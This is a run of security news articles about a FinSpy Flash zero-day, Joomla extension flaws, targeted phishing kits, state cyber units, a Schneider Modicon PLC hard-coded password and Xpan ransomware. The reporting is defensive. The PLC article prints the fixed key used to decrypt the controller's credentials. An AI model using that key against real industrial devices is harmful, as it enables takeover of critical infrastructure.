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Security researchers from Kaspersky Labs have discovered a new zero-day remote code execution vulnerability in Adobe Flash, tracked as CVE-2017-11292, which was being actively exploited by hackers in the wild to deliver the surveillance software FinSpy., , Hackers belonging to the APT group known as BlackOasis are leveraging the Adobe Flash zero-day exploit in attacks against high-profile targets., The critical type confusion vulnerability affects Flash Player 21.0.0.226 for Windows, Macintosh, Linux and Chrome OS., “On October 10, 2017, Kaspersky Lab’s advanced exploit prevention systems identified a new Adobe Flash zero day exploit used in the wild against our customers. The exploit was delivered through a Microsoft Office document and the final payload was the latest version of FinSpy malware. We have reported the bug to Adobe who assigned it CVE-2017-11292 and released a patch earlier today:” reads the analysis published by Kaspersky., The experts speculate the BlackOasis APT group is the same crew that exploited another RCE zero-day vulnerability, tracked CVE-2017-8759, discovered by FireEye researchers in September 2017., According to FireEye, the CVE-2017-8759 was actively been exploited by an APT group to deliver the surveillance malware FinFisher Spyware (FinSpy) to a Russian-speaking “entity” via malicious Microsoft Office RTF files in July., In both attacks, the BlackOasis APT exploited a zero-day exploit to deliver the FinSpy spyware, the hackers shared the same command and control (C&C)., The experts who monitored the activity of the BlackOasis group across the year confirmed it has utilized at least five zero days since June 2015:, BlackOasis hackers targeted individuals in numerous countries, including Russia, Iraq, Afghanistan, Nigeria, Libya, Jordan, Tunisia, Saudi Arabia, Iran, the Netherlands, Bahrain, United Kingdom and Angola., “BlackOasis’ interests span a wide gamut of figures involved in Middle Eastern politics and verticals disproportionately relevant to the region. This includes prominent figures in the United Nations, opposition bloggers and activists, and regional news correspondents.” continues the analysis. “During 2016, we observed a heavy interest in Angola, exemplified by lure documents indicating targets with suspected ties to oil, money laundering, and other illicit activities. There is also an interest in international activists and think tanks.”, Researchers reported the zero-day exploit is delivered through Microsoft Office documents, particularly Word, attached to a spam email. The documents include an ActiveX object which contains the Flash exploit used to deliver the FinSpy spyware., “The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits,” the Kaspersky Labs researchers say., FinSpy leveraged various attack vectors, including spear phishing, manual installation with physical access to the affected device, zero-day exploits, and watering hole attacks., According to the experts, the number of attacks relying on FinFisher software, supported by zero-day exploits  will continue to grow., “The attack using the recently discovered zero-day exploit is the third time this year we have seen FinSpy distribution through exploits to zero-day vulnerabilities,” conclude Kaspersky Lab lead malware analyst Anton Ivanov, “Previously, actors deploying this malware abused critical issues in Microsoft Word and Adobe products. We believe the number of attacks relying on FinSpy software, supported by zero day exploits such as the one described here, will continue to grow.”, Kaspersky Lab reported the flaw to Adobe that addressed it with the release of Adobe Flash Player versions 27.0.0.159 and 27.0.0.130., Pierluigi Paganini, (Security Affairs – BlackOasis APT, FinSpy Spyware)  

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Kasper Bertelsen, a security researcher at Outpost24 has discovered a number of vulnerabilities in the Joomla Helpdesk Pro extension which can lead to remote code execution on servers., The Helpdesk Pro Joomla extension is developed by Ossolution Team and implements a feature rich support ticket system for Joomla, one of the most popular CMS on the web., The flaws uncovered by Bertelsen and his colleagues Simon Rawet, Kristian Varnai, and Gregor Mynarsky are quite common in web applications, the vulnerabilities include cross-site scripting, direct object references, SQL injection, local file injection, path traversal, and arbitrary file upload., , Below the code assigned to the vulnerabilities. CVE-2015-4071 CVSS: 4.0 Direct Object References CVE-2015-4072 CVSS: 6.5 Multiple XSS CVE-2015-4073 CVSS: 7.8 SQL Injection CVE-2015-4074 CVSS: 7.8 Local file disclosure/Path traversal CVE-2015-4075 CVSS: 6.8 File Upload, As explained by the experts the flaws in the Joomla Helpdesk Pro extension leave the servers hosting the platform open to a number of cyber attacks., “The security issues leave systems vulnerable to a wide variety of attack types, with effects ranging from disclosure of potentially sensitive information, to a complete server takeover with arbitrary code execution,” says . “All of these attacks have been shown to have the potential to cause serious harm, many of them with the very real possibility of a full compromise of the server, and even the most harmless attack disclosing sensitive information about users. “, According to the experts at Outpost24, the exploits work for Joomla HelpDesk Pro version 1.3.0, meanwhile no official tests have been done on early versions., “All versions prior to 1.4.0, where the issues were finally patched, are suspected of being vulnerable.”, The experts described in detail the flaws reported, the local file disclosure hole, for example, could be exploited by hackers to access the configuration.php file that contains sensitive data like users’ credentials. The experts explained that the exploit works because an the service used to download and upload documents not properly restrict downloaded files., “This information can give an attacker free access to the database, or even the ability to freely upload their own files to the server, where they could then be executed, giving them complete access to the server,” Bertelsen says., Users are recommended to upgrade their software to the last version., Pierluigi Paganini, (Security Affairs – Joomla Helpdesk Pro , hacking)

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Despite simplicity of the schema phishing attacks have increased exponentially in the last years targeting every sector,both public and private. RSA’s October Online Fraud Report 2012 revealed a worrying scenario, phishing attacks increased up 19% over the second half of 2011, the total loss for various organizations has been estimated to $2.1 billion over the last 18 months., “As we close out 2012, it’s safe to say that phishing has had yet another record year in attack volumes. The total number of phishing attacks launched in 2012 was 59% higher than the total calculated for 2011, up from 279,580 attacks to 445,004, costing the global economy over $1.5 billion dollars in fraud damages. According to RSA research, this amount is 22% higher than the losses recorded in 2011, part of the growing worldwide monetary losses associated with phishing attacks.” “Beyond rising attack numbers and the money they harvest, phishing kits are increasingly advancing on the technical level, written by malware authors and black hats. 2012 saw the popular use of kit plugins doing real-time credential validation; or reporting via web analytics tools the success of attack campaigns.”, Phishing attacks are exploiting new channels, such as social media and mobile, due the large diffusion of these platforms and the leak of proper security countermeasures. Security firm RSA has recently published a post in which cybercrime specialist Limor Kessem reveals a new scheme for phishing attack, dubbed Bouncer Phishing. The post reported that cyber criminals identify in unique way the targets, they assign to each victim an ID that is used during the scam campaigns, for each attack is composed a list of victims and only the IDs presents in the list are hit by the attack. The unique ID is automatically generated for each victim and for it is composed an unique web address to click on., “the kit immediately generates an attack page, creating it on the very same hijacked website. The kit’s code is programmed to copy pertinent files into a temporary new folder and send victims to that page in order to steal their credentials.“, When the ID of  a victims is not include in the list of targets the link created will simply be presented with an harmless error page showing 404 error message. The expert Kessem said:, “And now we’re seeing the more unusual breeds: bouncer list phishing. It holds this moniker because much like many high-profile nighttime hotspots – if your name is not on the list, you’re staying out! After the kit collects victim credentials it sends them to yet another hijacked website (taken over using the exact same method of vulnerability exploit and web-shell), where the password-protected attack page lies in wait to steal user credentials.”, The approach could have serious consequence on the “detection procedure” implemented by the principal security firms, but which is the advantage of the techniques? The methods allow to the attackers to collect data only related to a specific groups of users, of course the techniques in less noisily respect classic phishing schema. The techniques is very efficient, let’s imagine an attack on a geographic region where a local shop propose exceptional discounts or where  is arranged a specific event, in that cases it is possible to address the victims selecting only ID of the users that live or work in the area, the most interested to information provided and so more exposed to social engineering attacks. Only most pertinent credentials from a restricted audience are collected by the attacks differently by traditional massive phishing campaign. RSA expert explained that each campaign targeted an average number of 3,000 recipients from a list containing a mix of users profiles (e.g. corporate addresses, bank employees) obtained with as aggregation of spam lists or data breach collections. Phishing techniques are evolving and they are showing increasing complexity and bouncer phishing is just the last innovation in this sense. The post of RSA also introduces a couple techniques to compromise website to use in the phishing attacks to host malicious code:, You can bet that in the future new techniques will be studied and implemented by cyber criminals … and then security companies will try to remedy, as in a continuous play cops and robbers. In the meantime let’s do awareness … the only way to avoid the cyber threats is know them.,  , Pierluigi

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Information warfare, cyber warfare, are all terms that are becoming familiar for population all over the world. Every government is aware of the risks connected to the exposure to a cyber attack for sabotage or cyber espionage, due this reason military all over the world are creating dedicated cyber units to respond to new needs. The reality is that  almost every government is working on the definition of cyber capabilities (e.g. Creation of a new generation of cyber weapons, development of active defense systems) also for offensive purposes, a cyber conflict has numerous advantage respect traditional offensives. A few days ago the Russian Government announced the creation of a dedicated breach for the Information warfare belonging to the Russian Armed Forces, its purpose is to improve cyber capabilities of the country exactly has many other governments are doing. Official military fonts revealed that the agency’s budget for 2013 is 2.3 billion rubles ($70 million)., “Cyber space is becoming our priority…the decision to create a cyber-security command and a new branch of the armed forces has already been made,” “We are working on the overall concept of the program to be developed in this area,” “We have reviewed 700 innovative projects so far,”declared Andrei Grigoryev, the head of the recently-created Foundation for Advanced Military Research, in an interview with Echo Moskvy radio., The Foundation for Advanced Military Research is considered the equivalent of US DARPA (Defense Advanced Research Projects Agency) and was set up in 2012 to boost the improvement of Russian cyber capabilities development of advanced weaponry and help streamline the arms procurement process in Russia. According Andrei Grigoryev, the head of the recently-created Foundation for Advanced Military Research, the new unit will be composed by three main areas of military R&D:, , The Russia isn’t the unique government that announced recently to boost its cyber structures, a few weeks ago was spread the news that the New Zealand Defense Force planned to spend $469 million for the creation of a new cyber army despite the meaningful cut to defense expense of the last years. The investment is considered important by security analysts, consider that today the Australian Army has no surveillance or reconnaissance systems., It will be set up a new division under the Network Enabled Army initiative that will be specialized in the development of high technological equipment such as drones and robots as well as sensors that would monitor the location, the health and condition of soldiers and vehicles., “The goal of the NEA Programme is to enhance the NZDF’s ability to support deployed land forces by improving its battlefield command and control system, communications and intelligence, surveillance and reconnaissance sensor systems.”, The Defense Force has invited technology suppliers to a briefing day at its Trentham military base, the Sydney Morning Herald program manager Colonel Phil Collett revealed the spending would be over 20 years., Governments are getting ready for a new arms race,  the cyberspace is the new battlefield and cyber weapons are entering in their arsenal near conventional weapons. Stuxnet spread has radically changed the perception of Information warfare, a conflict that is fought in the fifth domain, and that is pushing the producing of weaponized software on an industrial scale. This is considerably an historical moment, Information Warfare is assuming a fundamental importance for any government, leading powers are sustaining the arms race followed by many other countries that may be effective in the same way. We are in a situation similar to the one observed when nuclear weapon will ne used for first time … every government is trying to improve its cyber capabilities, they cannot be left behind!, Cyber weapons can potentially do serious damage to “critical infrastructures”,  and in many cases weaponized tools are also freely available on the internet, cyber terrorists and state-sponsored hackers could exploit them to hit a government or a private business. Due this reason every government is working to the definition of a proper cyber strategy to mitigate cyber threats meanwhile principal organization are working to the definition of rules for the Information Warfare., Pierluigi Paganini, (Security Affairs – Information Warfare, cyber warfare)

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I believe it is very disconcerting to find systems inside critical infrastructure affected by easy-to-exploit vulnerabilities while we are discussing the EU NIS directive., What about hard-coded passwords inside critical systems?, Unfortunately, it’s happened again, the firmware running on the Schneider Modicon TM221CE16R (Firmware 1.3.3.3) has a hardcoded password. The bad news for users is that they a cannot change the password and there is no firmware update available to fix this issue., The firmware encrypted the XML file containing user and password with the fixed key “SoMachineBasicSoMachineBasicSoMa”., It is quite easy for an attacker to open the control environment (SoMachine Basic 1.4 SP1), decrypt the file, and take control over the device., “The password for the project protection of the Schneider Modicon TM221CE16R is hard-coded and cannot be changed.” reads the security advisory published by Simon Heming, Maik Brüggemann, Hendrik Schwartke, Ralf Spenneberg of Germany’s Open Source Security.”The protection of the application is not existent.”, , The same team of researchers discovered another security issue affecting the Schneider TM221CE16R Firmware 1.3.3.3 hardware. The experts discovered that the password used to protect the applications can be easily retrieved by a remote unauthenticated user. The Application Protection is used to prevent the transfer of the application from a logic controller into a SoMachine Basic project., “The password for the application protection of the Schneider Modicon TM221CE16R can be retrieved without authentication. Subsequently the application may be arbitrarily downloaded, uploaded and modified. CVSS 10.” reads a separate security advisory published by the team., The experts discovered that a user just needs to send the following command over Modbus using TCP Port 502:, “After that the retrieved password can be entered in SoMachine Basic to download, modify and subsequently upload again any desired application”, continues the advisory. , window._mNHandle = window._mNHandle || {}; window._mNHandle.queue = window._mNHandle.queue || ; medianet_versionId = "3121199"; try { window._mNHandle.queue.push(function () { window._mNDetails.loadTag("762221962", "300x250", "762221962"); }); } catch (error) {} , Pierluigi Paganini, (Security Affairs – Schneider Modicon TM221CE16R, hardcoded password)

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Cyber criminals are using stolen or weak remote desktop credentials to access systems and deliver file-encrypting ransomware., This is not a novelty in the criminal ecosystem, in March experts discovered a ransomware dubbed Surprise that was installed via TeamViewer and executes from memory., In October 2015, experts at BleepingComputer blog reported a strain of ransomware dubbed LowLevel04 that was spreading via Remote Desktop and Terminal Service., The hackers in both circumstances used stolen credentials for RDP software., Now security researchers from the security firm Kaspersky Lab have spotted a new strain of ransomware, called Trojan-Ransom.Win32.Xpan, that was used in campaigns against hospitals and other organizations in Brazil., According to Kaspersky, the new ransomware was developed by a gang called TeamXRat that was known for the development of remote access trojans (RATs)., , The members of the TeamXRat perform brute-force attacks on the machine in order to access it via RDP and then manually install the Xpan ransomware on the hacked servers., “Connecting remote desktop servers directly to the Internet is not recommended and brute forcing them is nothing new; but without the proper controls in place to prevent or at least detect and respond to compromised machines, brute force RDP attacks are still relevant and something that cybercriminals enjoy,” reads a blog post published by  Kaspersky. “Once the server is compromised, the attacker manually disables the Antivirus product installed on the server and proceeds with the infection itself.”, The experts also highlighted that crooks exploit MS15-067 and MS15-030 vulnerabilities in the RDP protocol. Crooks could exploit them to remotely execute code by sending a specially crafted sequence of packets to a targeted system., According to Kaspersky, Brazil is the country with the highest number of compromised RDP servers being sold on the underground market., This summer experts from Kaspersky revealed the existence of the xDedic marketplace that was offering everyone from entry-level cybercriminals to APT groups fast, cheap and easy access to legitimate organizational servers., The good news is that the TeamXRat has made an error while developing the encryption functionality of ransomware that has been exploited by the experts at Kaspersky Lab to recover the encrypted files without paying the ransom., The victims of the Xpan have to contact Kaspersky to receive instructions and assistance to recover the files., “But the good news is that the Kaspersky Anti-Ransom team was able to break the encryption used by the Xpan Trojan. This effort made possible the decryption of files belonging to a Hospital in Brazil, which was hit by this Ransomware family.” closes Kaspersky., “If you’re a victim of this new Ransomware family and need help to decrypt your files, please DON’T PAY the ransom. Instead, contact us via support.”, Pierluigi Paganini, (Security Affairs – Ransomware , TeamXRat)